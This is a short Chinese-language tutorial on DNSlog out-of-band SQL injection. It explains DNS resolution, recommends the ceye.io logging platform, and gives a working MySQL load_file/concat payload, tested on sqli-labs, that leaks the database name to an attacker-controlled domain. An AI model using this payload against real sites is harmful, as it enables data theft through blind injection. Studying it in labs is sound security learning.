0x00前言
前段时间在做盲注 分别是基于时间和基于布尔型的 说真的 这两种盲注真的太繁琐了 都需要一个个的通过ascii码来进行一位位的拆解 而且尝试次数太多也有可能被网站ban掉 直到一个大佬和我说了这个方法 学了才发现这个方法非常的方便 也非常的快速 在sqlmap跑的时候也比正常的快很多 官方店的名字就是DNSlog注入
0x01原理
在进行操作之前 我们要先有一个域名 这里简单的说一下吧 就是我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找 大概就是这么个意思
那么上面说的这些和我们今天的注入有什么关系呢?dns在解析的时候会留下记录 然后我们来读取这个多级域名的解析日记来获取到我们所想要的内容
0x02实操
首先我要推荐一个网站 蛮方便的做测试啊一些什么的 http://ceye.io 这是一个dnslog的记录平台 进去之后注册进到主界面如下图
然后这里的标识符就是给的域名 现在你有可能还不是很明白 继续看下去就清楚了 这里我是用sqli-labs 来进行测试的
先说些简单的 select load_file('\\test.xxxxx.ceye.io\aaa'); 结果如下图
我们可以看出 test.xxxxx.ceye.io 解析内容会将 xxxxx前面的test也回显出来 那么我们是不是只要在test的地方 用sql注入语句替代 不久可以出来我们想要的结果了吗 接下来来正式的
我们通过构造 ' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'\))),1,0)%23 这个语句来进行一个注入 接下来我来解释一下这个语句
load_file函数 是一个读取文件 然后将文件内容返回成字符串的一个函数
\\\\ 这个是为了转义为 \\
最后面的 \\aaa可以随便写 效果如下图
如图所示 数据库的名字顺利的出来了 ~~